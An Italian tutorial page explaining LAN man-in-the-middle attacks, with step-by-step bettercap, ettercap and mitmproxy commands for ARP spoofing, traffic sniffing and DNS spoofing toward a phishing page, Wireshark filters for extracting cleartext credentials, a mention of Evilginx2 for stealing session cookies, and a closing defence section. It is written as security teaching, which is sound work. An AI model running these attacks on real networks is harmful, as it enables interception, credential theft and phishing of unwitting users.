Man-in-the-Middle & Sniffing
Mettersi "in mezzo" al traffico di una LAN per intercettarlo o modificarlo. Qui: come funziona davvero e come si fa, passo per passo.
Come funziona: ARP e ARP spoofing
In una rete locale i dati non viaggiano per "indirizzo IP" ma per indirizzo MAC (l'ID fisico della scheda di rete). Per sapere "a quale MAC corrisponde questo IP?" i dispositivi usano il protocollo ARP:
- Il PC vittima vuole parlare col router
192.168.1.1ma non sa il suo MAC. - Manda in broadcast: ARP Request "chi ha 192.168.1.1?"
- Il router risponde: ARP Reply "sono io, MAC = aa:bb:cc...".
- La vittima salva la coppia IP↔MAC nella sua ARP cache.
Il difetto: ARP non ha autenticazione. Chiunque può mandare Reply non richieste (gratuitous ARP) e il destinatario le crede. Nell'ARP spoofing / poisoning tu mandi:
- Alla vittima: "192.168.1.1 (il router) sono io" → il tuo MAC.
- Al router: "192.168.1.50 (la vittima) sono io" → il tuo MAC.
Risultato: entrambi mandano i pacchetti a te. Tu li leggi/modifichi e li inoltri al vero destinatario: sei in mezzo. La vittima non nota nulla perché la connessione continua a funzionare.
Passo 0 — abilita l'IP forwarding
Perché la vittima resti connessa mentre spii, il tuo PC deve inoltrare i pacchetti che riceve. Senza questo, tagli fuori la vittima (che è un DoS, non un MITM):
sudo sysctl -w net.ipv4.ip_forward=1
# verifica (deve dare 1)
cat /proc/sys/net/ipv4/ip_forward
(Bettercap ed Ettercap lo attivano da soli, ma è bene sapere cosa fanno.)
Bettercap — attacco completo passo passo
Bettercap è il framework moderno di riferimento. Avvialo sull'interfaccia della LAN:
sudo bettercap -iface eth0
Dentro la console interattiva:
# 1) scopri gli host della rete (scansione ARP continua)
net.probe on
net.show # tabella host: IP, MAC, vendor
# 2) scegli il bersaglio (un TUO dispositivo) e avvia l'ARP spoof
set arp.spoof.targets 192.168.1.50
set arp.spoof.fullduplex true # avvelena sia vittima che gateway
arp.spoof on
# 3) cattura il traffico e cerca credenziali/URL/DNS
set net.sniff.verbose true
net.sniff on
Da qui vedi in tempo reale URL visitati, richieste DNS e credenziali su protocolli in chiaro. Per l'interfaccia grafica web:
# attiva la UI web (poi apri http://127.0.0.1)
sudo bettercap -iface eth0 -caplet http-ui
.cap e lanciarla con -caplet file.cap.Ettercap — il classico
Più vecchio ma semplice. Da riga di comando, MITM tra vittima e gateway:
# -T testuale, -q quiet, -M arp mitm, target1 // target2
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
La sintassi target è /IP/MAC/PORTE: lasciando vuoto prendi tutto. C'è anche la GUI: sudo ettercap -G → Hosts → Scan for hosts → aggiungi Target 1 (vittima) e Target 2 (gateway) → Mitm → ARP poisoning.
DNS spoofing (redirigere un sito)
Una volta in mezzo, puoi falsificare le risposte DNS: quando la vittima chiede sito.com, le rispondi col tuo IP (es. una pagina di phishing sul tuo server). Con bettercap:
set dns.spoof.domains sito.com,*.sito.com
set dns.spoof.address 192.168.1.66 # il TUO IP (dove gira la pagina)
dns.spoof on
Serve avere l'ARP spoof già attivo (altrimenti non intercetti le query DNS). È la base delle demo di phishing in LAN.
mitmproxy — intercettare HTTP/HTTPS
Come funziona: mitmproxy si mette come proxy; per l'HTTPS genera al volo un certificato firmato dalla sua CA. Se installi quella CA sul dispositivo (o è un tuo device di test), puoi leggere anche il traffico cifrato.
# avvia il proxy interattivo (porta 8080)
mitmproxy
# sul dispositivo di test: imposta proxy = IP_kali:8080
# poi visita http://mitm.it dal device e installa il certificato CA
Modificare il traffico al volo con uno script Python:
# script.py — aggiunge un header a ogni risposta
def response(flow):
flow.response.headers["X-Test"] = "mitm"
mitmproxy -s script.py
Per il testing di app web col browser, l'equivalente più usato è Burp Suite (stesso principio: proxy intercettante). Vedi Web Hacking.
Analisi con Wireshark — estrarre credenziali
Mentre sei in mezzo, cattura con Wireshark e analizza. Display filter utili:
http # solo HTTP
http.request.method == "POST" # invii di form (login!)
ftp # FTP: USER/PASS in chiaro
telnet # Telnet: tutto in chiaro
ip.addr == 192.168.1.50 # solo la vittima
tcp.port == 80 && frame contains "password"
Leggere una conversazione: tasto destro su un pacchetto → Follow → TCP Stream: ricostruisce l'intero scambio (es. vedi username e password inviati in un POST HTTP).
Estrarre file trasferiti: File → Export Objects → HTTP per salvare immagini/documenti passati in chiaro.
E l'HTTPS? (aspettative realistiche)
Con l'ARP spoofing vedi che c'è traffico verso un sito HTTPS, ma non il contenuto: è cifrato end-to-end. Le vecchie tecniche di SSL strip (forzare la vittima su HTTP) oggi falliscono sui siti seri grazie a HSTS (il browser rifiuta il downgrade) e alla preload list. Leggere l'HTTPS richiede o un certificato installato sul device (come mitmproxy in lab) o vulnerabilità specifiche. Tool come Evilginx2 aggirano il problema facendo da proxy trasparente al login reale per rubare cookie di sessione (bypass 2FA) — tecnica avanzata, tipica del phishing mirato.
Difesa
- HTTPS + HSTS ovunque; VPN su reti WiFi non fidate (cifra tutto sopra la LAN).
- Dynamic ARP Inspection (DAI) + DHCP snooping sugli switch gestiti: bloccano le ARP reply false.
- Port security e segmentazione in VLAN: riduce chi può parlare con chi.
- Monitoraggio: un MAC che risponde per più IP, o troppe gratuitous ARP, è un segnale. Tool come
arpwatchallertano. - Voci ARP statiche per gateway critici.